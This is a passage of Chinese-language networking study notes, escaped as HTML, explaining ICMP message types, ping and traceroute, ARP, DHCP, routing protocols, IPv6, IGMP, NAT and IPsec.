&lt;p&gt;&lt;code&gt;11&lt;/code&gt; 数据报超时 &lt;code&gt;Time Exceeded for a Datagram&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;12&lt;/code&gt; 数据报参数问题 &lt;code&gt;Parameter Problem on a Datagram&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;提供信息的报文 (询问报文) (&lt;code&gt;Information Request/Inquiry Messages&lt;/code&gt;)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;0&lt;/code&gt; 回显应答 &lt;code&gt;Echo Reply&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;8&lt;/code&gt; 回显请求 &lt;code&gt;Echo Request&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;9&lt;/code&gt; 路由器广告 &lt;code&gt;Router Advertisement&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;10&lt;/code&gt; 路由器请求 &lt;code&gt;Router Solicitation&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;13&lt;/code&gt; 时间戳请求 &lt;code&gt;Timestamp Request&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;14&lt;/code&gt; 时间戳应答 &lt;code&gt;Timestamp Reply&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;17&lt;/code&gt; 地址掩码请求 &lt;code&gt;Address Mask Request&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;18&lt;/code&gt; 地址掩码应答 &lt;code&gt;Address Mask Reply&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中&lt;code&gt;3&lt;/code&gt;、&lt;code&gt;11&lt;/code&gt;、&lt;code&gt;0&lt;/code&gt;、&lt;code&gt;8&lt;/code&gt;常用&lt;/p&gt;
&lt;p&gt;&lt;code&gt;3&lt;/code&gt;、&lt;code&gt;11&lt;/code&gt;是&lt;code&gt;差错报告报文&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0&lt;/code&gt;、&lt;code&gt;8&lt;/code&gt;是&lt;code&gt;提供信息的报文&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;1.2.1. 几种常用ICMP报文类型&lt;/h3&gt;
&lt;h4&gt;1.2.1.1. 目的不可达报文（3）&lt;/h4&gt;
&lt;p&gt;顾名思义，&lt;code&gt;目的不可达报文&lt;/code&gt;就是目的不可达，&lt;code&gt;代码&lt;/code&gt;部分进一步阐述&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Network-Layer/eaba7cf385281339afc9f7083d44ea17-1740404253149-2.jpeg&quot; alt=&quot;目的不可达报文&quot; /&gt;&lt;/p&gt;
&lt;p&gt;相当于&lt;code&gt;代码&lt;/code&gt;那块就是&lt;code&gt;00&lt;/code&gt;,&lt;code&gt;01&lt;/code&gt;...这样的十六进制&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;MTU&lt;/code&gt;是指一个网络接口上能够传输的最大数据包大小。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;路径最小MTU&lt;/code&gt;影响数据在网络中的传输，尤其在路径中包含不同的网络设备时，如果路径中的任何设备不能处理过大的数据包，它就会丢弃该数据包或将其分片。&lt;/p&gt;
&lt;p&gt;所以&lt;code&gt;“路径最小MTU发现”应用&lt;/code&gt;可以实现 &lt;code&gt;MTU&lt;/code&gt;探测 和 避免分片&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;1.2.1.2. 超时报文（11）&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;代码&lt;/code&gt;说明超时的性质：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;00&lt;/code&gt;  传输过程中IP &lt;code&gt;TTL（time to live）&lt;/code&gt;超时&lt;/p&gt;
&lt;p&gt;&lt;code&gt;01&lt;/code&gt;   分片重装超时&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TTL超时可用于实现路由跟踪（&lt;code&gt;tracert&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;em&gt;路由跟踪的工作原理总结：&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;路由跟踪工具利用&lt;code&gt;TTL&lt;/code&gt;字段逐步发送数据包，每次增加&lt;code&gt;TTL&lt;/code&gt;值以遍历路径。&lt;/li&gt;
&lt;li&gt;每经过一个路由器，&lt;code&gt;TTL&lt;/code&gt;值会减1，直到数据包的&lt;code&gt;TTL&lt;/code&gt;变为0，路由器丢弃数据包并返回一个&lt;code&gt;ICMP&lt;/code&gt;“时间超时”消息。&lt;/li&gt;
&lt;li&gt;通过收集每个中间路由器的回应，路由跟踪工具能够显示整个路径以及每跳的延迟。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;Network-Layer/4c779b318b1952f5114d3ac31802c576_720-1740404253150-3.jpg&quot; alt=&quot;差错报文字段&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;1.2.1.3. &lt;strong&gt;回应请求与应答报文 (类型 8 和 0)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;这是我们最熟悉的&lt;code&gt;ping&lt;/code&gt;命令所使用的报文。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PING (&lt;code&gt;Packet InterNet Groper&lt;/code&gt;)&lt;/strong&gt;：用于测试两台主机之间的连通性。&lt;/li&gt;
&lt;li&gt;主机A向主机B发送一个&lt;code&gt;ICMP&lt;/code&gt;回显请求报文（类型8）。&lt;/li&gt;
&lt;li&gt;如果主机B接收到该报文，它会回复一个&lt;code&gt;ICMP&lt;/code&gt;回显应答报文（类型0）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ping&lt;/code&gt;是一个应用层程序直接使用网络层&lt;code&gt;ICMP&lt;/code&gt;的典型例子，它绕过了传输层的&lt;code&gt;TCP&lt;/code&gt;或&lt;code&gt;UDP&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;1.3. ARP (Address Resolution Protocol)&lt;/h2&gt;
&lt;p&gt;在任何局域网（如以太网）中，数据帧的传输最终依赖的是&lt;strong&gt;MAC地址（物理地址）&lt;/strong&gt;，而不是&lt;code&gt;IP&lt;/code&gt;地址。那么，当一台主机（例如 &lt;code&gt;192.168.1.100&lt;/code&gt;）想要与同一网络中的另一台主机（例如 &lt;code&gt;192.168.1.50&lt;/code&gt;）通信时，它如何知道对方的&lt;code&gt;MAC&lt;/code&gt;地址呢？这就是&lt;code&gt;ARP&lt;/code&gt;协议的作用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;：&lt;code&gt;ARP (Address Resolution Protocol)&lt;/code&gt;，地址解析协议。它负责将一个已知的&lt;code&gt;IP&lt;/code&gt;地址（网络层地址）解析（映射）为对应的MAC地址（数据链路层地址）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工作流程&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;检查&lt;code&gt;ARP&lt;/code&gt;缓存&lt;/strong&gt;：主机 A 首先会检查自己的 &lt;strong&gt;&lt;code&gt;ARP&lt;/code&gt;缓存表&lt;/strong&gt;，看是否已经有目标&lt;code&gt;IP&lt;/code&gt;地址 &lt;code&gt;192.168.1.50&lt;/code&gt; 对应的&lt;code&gt;MAC&lt;/code&gt;地址记录。如果存在，则直接使用该&lt;code&gt;MAC&lt;/code&gt;地址封装数据帧并发送。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发送&lt;code&gt;ARP&lt;/code&gt;请求&lt;/strong&gt;：如果在缓存中找不到记录，主机 A 会在局域网内广播一个 &lt;strong&gt;&lt;code&gt;ARP&lt;/code&gt;请求&lt;/strong&gt; 报文。这个报文的核心内容是：“&lt;strong&gt;谁的&lt;code&gt;IP&lt;/code&gt;地址是 192.168.1.50？请把你的&lt;code&gt;MAC&lt;/code&gt;地址告诉我。&lt;/strong&gt;” 这个请求是广播的，意味着网络内所有设备都会收到它。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;单播&lt;code&gt;ARP&lt;/code&gt;响应&lt;/strong&gt;：网络中的所有设备都会解析这个&lt;code&gt;ARP&lt;/code&gt;请求。但只有&lt;code&gt;IP&lt;/code&gt;地址为 &lt;code&gt;192.168.1.50&lt;/code&gt; 的主机 B 会响应。主机 B 会直接向主机 A 发送一个 &lt;strong&gt;&lt;code&gt;ARP&lt;/code&gt;响应&lt;/strong&gt; 报文（单播），内容是：“&lt;strong&gt;我的&lt;code&gt;IP&lt;/code&gt;地址是 &lt;code&gt;192.168.1.50&lt;/code&gt;，我的&lt;code&gt;MAC&lt;/code&gt;地址是&lt;code&gt;XX:XX:XX:XX:XX:XX&lt;/code&gt;。&lt;/strong&gt;”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更新&lt;code&gt;ARP&lt;/code&gt;缓存&lt;/strong&gt;：主机 A 收到响应后，就知道了主机 B 的&lt;code&gt;MAC&lt;/code&gt;地址，并将这个映射关系（&lt;code&gt;IP -&amp;gt; MAC&lt;/code&gt;）存入自己的&lt;code&gt;ARP&lt;/code&gt;缓存表中，以备后续使用。然后，它就可以将数据发送给主机 B 了。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ARP&lt;/code&gt;缓存&lt;/strong&gt;：每个主机都维护一个ARP缓存，用于存储近期解析过的&lt;code&gt;IP&lt;/code&gt;地址与&lt;code&gt;MAC&lt;/code&gt;地址的对应关系。缓存条目有生命周期（通常是几分钟），过期后会被删除，以确保信息的时效性。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.4. DHCP (Dynamic Host Configuration Protocol)&lt;/h2&gt;
&lt;p&gt;当一台新设备（如笔记本电脑或手机）接入网络时，它需要一个&lt;code&gt;IP&lt;/code&gt;地址才能通信。手动为每台设备配置IP地址、子网掩码、默认网关和&lt;code&gt;DNS&lt;/code&gt;服务器是非常繁琐且容易出错的。&lt;code&gt;DHCP&lt;/code&gt;协议就是为了自动化这个过程而设计的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;：&lt;strong&gt;动态主机配置协议 (&lt;code&gt;DHCP, Dynamic Host Configuration Protocol&lt;/code&gt;)&lt;/strong&gt; 是一个应用层协议（基于&lt;code&gt;UDP&lt;/code&gt;），允许网络中的&lt;code&gt;DHCP&lt;/code&gt;服务器自动地为客户端分配IP地址及其他网络配置参数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工作流程 (&lt;code&gt;DORA&lt;/code&gt;)&lt;/strong&gt;：这个过程通常被称为**&lt;code&gt;DORA&lt;/code&gt;**，代表四个核心步骤。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Discover&lt;/code&gt; (发现)&lt;/strong&gt;：客户端（新设备）在网络中&lt;strong&gt;广播&lt;/strong&gt;一个 &lt;strong&gt;&lt;code&gt;DHCP Discover&lt;/code&gt;&lt;/strong&gt; 报文，试图找到可用的&lt;code&gt;DHCP&lt;/code&gt;服务器。报文大意是：“&lt;strong&gt;我需要一个&lt;code&gt;IP&lt;/code&gt;地址，网络里有&lt;code&gt;DHCP&lt;/code&gt;服务器吗？&lt;/strong&gt;”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Offer&lt;/code&gt; (提供)&lt;/strong&gt;：所有收到&lt;code&gt;Discover&lt;/code&gt;报文的&lt;code&gt;DHCP&lt;/code&gt;服务器都会从自己的地址池中选择一个可用的&lt;code&gt;IP&lt;/code&gt;地址，并通过一个 &lt;strong&gt;&lt;code&gt;DHCP Offer&lt;/code&gt;&lt;/strong&gt; 报文（单播或广播）提供给客户端。报文大意是：“&lt;strong&gt;你好，我这里有一个&lt;code&gt;IP&lt;/code&gt;地址 &lt;code&gt;192.168.1.123&lt;/code&gt; 可以给你用，同时还有这些其他的配置信息。&lt;/strong&gt;”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Request (请求)&lt;/code&gt;&lt;/strong&gt;：客户端可能会收到多个&lt;code&gt;Offer&lt;/code&gt;。它会选择其中一个（通常是第一个收到的），然后&lt;strong&gt;广播&lt;/strong&gt;一个 &lt;strong&gt;&lt;code&gt;DHCP Request&lt;/code&gt;&lt;/strong&gt; 报文，正式请求使用这个&lt;code&gt;IP&lt;/code&gt;地址。广播的目的是通知所有&lt;code&gt;DHCP&lt;/code&gt;服务器（包括那些也提供了Offer的服务器），它已经做出了选择。报文大意是：“&lt;strong&gt;各位，我决定使用服务器X提供的&lt;code&gt;IP&lt;/code&gt;地址 &lt;code&gt;192.168.1.123&lt;/code&gt;。&lt;/strong&gt;”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Acknowledge (确认)&lt;/code&gt;&lt;/strong&gt;：被选中的&lt;code&gt;DHCP&lt;/code&gt;服务器会发送一个 &lt;strong&gt;&lt;code&gt;DHCP ACK&lt;/code&gt;&lt;/strong&gt; 报文，确认将该&lt;code&gt;IP&lt;/code&gt;地址租借给客户端，并规定了租期。此时，客户端就可以使用这个IP地址进行网络通信了。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;1.5. 路由协议 (Routing Protocols)&lt;/h2&gt;
&lt;p&gt;IP协议本身只负责数据报的转发，但它并不知道如何选择最佳路径。&lt;strong&gt;路由器&lt;/strong&gt;通过运行&lt;strong&gt;路由协议&lt;/strong&gt;来学习网络的拓扑结构，并创建&lt;strong&gt;路由表&lt;/strong&gt;，从而做出智能的路径选择决策。路由协议主要分为两大类：&lt;/p&gt;
&lt;h3&gt;1.5.1. 内部网关协议 (IGP - Interior Gateway Protocol)&lt;/h3&gt;
&lt;p&gt;IGP在一个&lt;strong&gt;自治系统 (&lt;code&gt;AS - Autonomous System&lt;/code&gt;)&lt;/strong&gt; 内部交换路由信息。一个&lt;code&gt;AS&lt;/code&gt;可以是一个公司、一所大学或一个互联网服务提供商（&lt;code&gt;ISP&lt;/code&gt;）的网络。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RIP (&lt;code&gt;Routing Information Protocol&lt;/code&gt;)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;类型&lt;/strong&gt;：距离矢量协议 (&lt;code&gt;Distance-Vector&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：RIP路由器周期性地与邻居交换整个路由表。它使用“&lt;strong&gt;跳数 (&lt;code&gt;Hop Count&lt;/code&gt;)&lt;/strong&gt;”作为度量值来衡量路径的好坏，即经过的路由器数量越少，路径越优。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：实现简单，但有明显缺点，如最大跳数限制（15跳）、收敛速度慢、容易产生路由环路等。现在已基本被&lt;code&gt;OSPF&lt;/code&gt;取代。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OSPF (&lt;code&gt;Open Shortest Path First&lt;/code&gt;)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;类型&lt;/strong&gt;：链路状态协议 (&lt;code&gt;Link-State&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：&lt;code&gt;OSPF&lt;/code&gt;路由器不交换路由表，而是交换&lt;strong&gt;链路状态通告 (&lt;code&gt;LSA&lt;/code&gt;)&lt;/strong&gt;。每个路由器都收集网络中所有的&lt;code&gt;LSA&lt;/code&gt;，从而在本地构建一个完整的网络拓扑图。然后，它使用**&lt;code&gt;Dijkstra&lt;/code&gt;算法**计算出到达每个目的地的最短路径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：收敛速度快，无路由环路，支持可变长子网掩码（&lt;code&gt;VLSM&lt;/code&gt;），支持区域划分以实现更好的扩展性。是当今企业网络中最主流的&lt;code&gt;IGP&lt;/code&gt;协议。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.5.2. 外部网关协议 (EGP - Exterior Gateway Protocol)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;EGP&lt;/code&gt;用于在不同的自治系统（&lt;code&gt;AS&lt;/code&gt;）之间交换路由信息，是构成整个互联网的骨架。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BGP (&lt;code&gt;Border Gateway Protocol&lt;/code&gt;)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：边界网关协议是目前唯一在使用的&lt;code&gt;EGP&lt;/code&gt;。它不仅仅是寻找最短路径，更重要的是，它是一个“&lt;strong&gt;路径矢量协议&lt;/strong&gt;”，能够根据管理员设定的策略（如费用、安全、政治因素等）来选择最佳路由。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：极其稳定和可扩展，是互联网的核心路由协议，负责连接全球成千上万个自治系统。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;1.6. IPv6&lt;/h2&gt;
&lt;p&gt;随着物联网的兴起和互联网的蓬勃发展，&lt;code&gt;IPv4&lt;/code&gt;的地址空间（约43亿个）已完全耗尽。&lt;code&gt;IPv6&lt;/code&gt;作为其继任者，提供了海量的地址空间和诸多改进。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主要优势&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;巨大的地址空间&lt;/strong&gt;：&lt;code&gt;IPv6&lt;/code&gt;使用128位地址，理论上可提供&lt;code&gt;2^128&lt;/code&gt; 个地址，这个数字足以满足未来数百年内任何可以想象到的需求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;简化的首部格式&lt;/strong&gt;：&lt;code&gt;IPv6&lt;/code&gt;的首部是固定的40字节，移除了&lt;code&gt;IPv4&lt;/code&gt;中不常用或冗余的字段（如&lt;code&gt;IHL&lt;/code&gt;、标识、标志、片偏移、首部检验和），使得路由器处理数据包的效率更高。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不再由路由器分片&lt;/strong&gt;：&lt;code&gt;IPv6&lt;/code&gt;要求发送方主机在发送前完成“路径&lt;code&gt;MTU&lt;/code&gt;发现”（&lt;code&gt;PMTUD&lt;/code&gt;），确保数据包大小不超过路径中的最小&lt;code&gt;MTU&lt;/code&gt;。路由器不再进行分片，大大减轻了路由器的负担。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;增强的安全性&lt;/strong&gt;：&lt;code&gt;IPsec&lt;/code&gt;（IP安全协议）被设计为&lt;code&gt;IPv6&lt;/code&gt;的强制组成部分（尽管后来变为可选），为网络层提供了端到端的加密和认证，安全性远超&lt;code&gt;IPv4&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支持无状态地址自动配置 (&lt;code&gt;SLAAC&lt;/code&gt;)&lt;/strong&gt;：&lt;code&gt;IPv6&lt;/code&gt;主机可以根据路由器通告的前缀和自身的&lt;code&gt;MAC&lt;/code&gt;地址等信息，自动生成全局唯一的&lt;code&gt;IP&lt;/code&gt;地址，无需&lt;code&gt;DHCP&lt;/code&gt;服务器介入即可上网。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;改进的邻居发现协议 (&lt;code&gt;NDP&lt;/code&gt;)&lt;/strong&gt;：&lt;code&gt;IPv6&lt;/code&gt;使用&lt;strong&gt;邻居发现协议 (&lt;code&gt;NDP&lt;/code&gt;)&lt;/strong&gt;，它基于&lt;code&gt;ICMPv6&lt;/code&gt;，取代了&lt;code&gt;IPv4&lt;/code&gt;中的&lt;code&gt;ARP&lt;/code&gt;和&lt;code&gt;ICMP&lt;/code&gt;路由器发现等功能，实现了地址解析、路由器发现、重复地址检测（&lt;code&gt;DAD&lt;/code&gt;）等，更加高效和强大。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;1.7. IGMP (Internet Group Management Protocol)&lt;/h2&gt;
&lt;p&gt;当数据需要发送给一组特定的、感兴趣的主机而不是单个主机（单播）或所有主机（广播）时，就需要&lt;strong&gt;组播 (&lt;code&gt;Multicast&lt;/code&gt;)&lt;/strong&gt;。&lt;code&gt;IGMP&lt;/code&gt;协议就是用于管理这种组播组成员关系的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;：IGMP (&lt;code&gt;Internet Group Management Protocol&lt;/code&gt;)，因特网组管理协议。它允许主机通知其本地路由器，表示自己希望加入或离开某个特定的组播组。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;加入组&lt;/strong&gt;：当一个主机上的某个应用希望接收特定组播组（例如一个视频流）的数据时，主机会向其本地路由器发送一个&lt;code&gt;IGMP&lt;/code&gt;&lt;strong&gt;成员关系报告&lt;/strong&gt;报文。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;维护关系&lt;/strong&gt;：路由器会周期性地发送&lt;code&gt;IGMP&lt;/code&gt;&lt;strong&gt;查询&lt;/strong&gt;报文，询问本地网络上是否还有成员对某个组播组感兴趣。仍在组内的成员会回复报告报文。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;离开组&lt;/strong&gt;：当主机不再希望接收数据时，它会发送一个&lt;code&gt;IGMP&lt;/code&gt;&lt;strong&gt;离开组&lt;/strong&gt;报文。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;IGMP&lt;/code&gt;只负责在主机和本地路由器之间进行通信。路由器之间则需要运行专门的组播路由协议（如&lt;code&gt;PIM&lt;/code&gt;）来构建组播数据的分发路径。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.8. NAT (Network Address Translation)&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;NAT&lt;/code&gt;是为了延缓&lt;code&gt;IPv4&lt;/code&gt;地址耗尽而设计出的一种关键技术。它允许一个机构内部的众多计算机使用&lt;strong&gt;私有&lt;code&gt;IP&lt;/code&gt;地址&lt;/strong&gt;上网，但在与外部互联网通信时，共享一个或少数几个&lt;strong&gt;公有&lt;code&gt;IP&lt;/code&gt;地址&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;：&lt;strong&gt;网络地址转换 (&lt;code&gt;NAT&lt;/code&gt;)&lt;/strong&gt; 工作在路由器或防火墙上，负责在私有网络和公有网络之间转换&lt;code&gt;IP&lt;/code&gt;数据报的源/目的地址和端口号。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;私有&lt;code&gt;IP&lt;/code&gt;地址段&lt;/strong&gt; (不会在公网路由):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;10.0.0.0&lt;/code&gt; 到 &lt;code&gt;10.255.255.255&lt;/code&gt; (A类)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;172.16.0.0&lt;/code&gt; 到 &lt;code&gt;172.31.255.255&lt;/code&gt; (B类)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;192.168.0.0&lt;/code&gt; 到 &lt;code&gt;192.168.255.255&lt;/code&gt; (C类)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;工作原理与类型&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;静态NAT (&lt;code&gt;Static NAT&lt;/code&gt;)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;将一个私有&lt;code&gt;IP&lt;/code&gt;地址&lt;strong&gt;一对一&lt;/strong&gt;地映射到一个公有IP地址。&lt;/li&gt;
&lt;li&gt;主要用于内部服务器（如Web服务器）需要被外部网络稳定访问的场景。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动态NAT (&lt;code&gt;Dynamic NAT&lt;/code&gt;)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;维护一个公有&lt;code&gt;IP&lt;/code&gt;地址池。当内部主机需要访问互联网时，从地址池中&lt;strong&gt;临时分配&lt;/strong&gt;一个未使用的公有&lt;code&gt;IP&lt;/code&gt;地址给它。&lt;/li&gt;
&lt;li&gt;当通信结束时，该公有&lt;code&gt;IP&lt;/code&gt;地址被回收，可供其他主机使用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PAT (&lt;code&gt;Port Address Translation&lt;/code&gt;) / NAPT&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;这是目前&lt;strong&gt;最常用&lt;/strong&gt;的&lt;code&gt;NAT&lt;/code&gt;形式，也称为&lt;code&gt;NAPT&lt;/code&gt;（网络地址端口转换）。它将多个私有&lt;code&gt;IP&lt;/code&gt;地址映射到&lt;strong&gt;同一个公有IP地址&lt;/strong&gt;的不同&lt;strong&gt;端口&lt;/strong&gt;上。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流程&lt;/strong&gt;：当内部主机 &lt;code&gt;192.168.1.100&lt;/code&gt;使用端口 &lt;code&gt;50000&lt;/code&gt;访问外部服务器时，&lt;code&gt;NAT&lt;/code&gt;路由器会将源地址和端口转换为 (公有IP, 新端口号)，例如 (&lt;code&gt;202.100.1.1&lt;/code&gt;, &lt;code&gt;60001&lt;/code&gt;)，并记录这个映射关系。当外部服务器响应数据到 (&lt;code&gt;202.100.1.1&lt;/code&gt;, &lt;code&gt;60001&lt;/code&gt;) 时，路由器根据记录将数据包的目的地址和端口改回 (&lt;code&gt;192.168.1.100&lt;/code&gt;, &lt;code&gt;50000&lt;/code&gt;)，并发送给内部主机。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：极大地节约了公有&lt;code&gt;IP&lt;/code&gt;地址，仅用一个公有&lt;code&gt;IP&lt;/code&gt;就能让成百上千台设备同时上网。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;：破坏了端到端的连接模型，可能导致某些&lt;code&gt;P2P&lt;/code&gt;应用或&lt;code&gt;VoIP&lt;/code&gt;协议出现问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;1.9. IPsec (Internet Protocol Security)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;IPsec&lt;/code&gt;&lt;/strong&gt; 是一套协议簇，用于在网络层为&lt;code&gt;IP&lt;/code&gt;通信提供高质量、可互操作的、基于密码学的安全保障。它能提供数据来源认证、数据完整性、数据机密性（加密）和防重放攻击等服务，是构建**&lt;code&gt;VPN&lt;/code&gt; (虚拟专用网络)** 的核心技术。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;两种工作模式&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;传输模式 (&lt;code&gt;Transport Mode&lt;/code&gt;)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作方式&lt;/strong&gt;：只对IP数据报的&lt;strong&gt;数据部分（&lt;code&gt;Payload&lt;/code&gt;）&lt;/strong&gt; 进行加密或认证。原始的IP头部保持不变，只插入了&lt;code&gt;IPsec&lt;/code&gt;头部。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：主要用于两台主机之间的&lt;strong&gt;端到端&lt;/strong&gt;安全通信。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隧道模式 (&lt;code&gt;Tunnel Mode&lt;/code&gt;)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作方式&lt;/strong&gt;：将&lt;strong&gt;整个原始&lt;code&gt;IP&lt;/code&gt;数据报（包括头部和数据）&lt;/strong&gt; 都进行加密和认证，然后将其封装在一个新的IP数据报中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：主要用于两个网络（如公司总部和分部）之间的&lt;strong&gt;网关到网关&lt;/strong&gt;安全通信，由网络边缘的&lt;code&gt;VPN&lt;/code&gt;网关来处理。这是构建&lt;code&gt;VPN&lt;/code&gt;最常见的方式。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;核心协议&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AH (&lt;code&gt;Authentication Header&lt;/code&gt;)&lt;/strong&gt;：只提供&lt;strong&gt;数据完整性&lt;/strong&gt;和&lt;strong&gt;身份验证&lt;/strong&gt;，但不提供加密。它确保数据在传输中未被篡改，但传输内容是明文的。&lt;/li&gt;
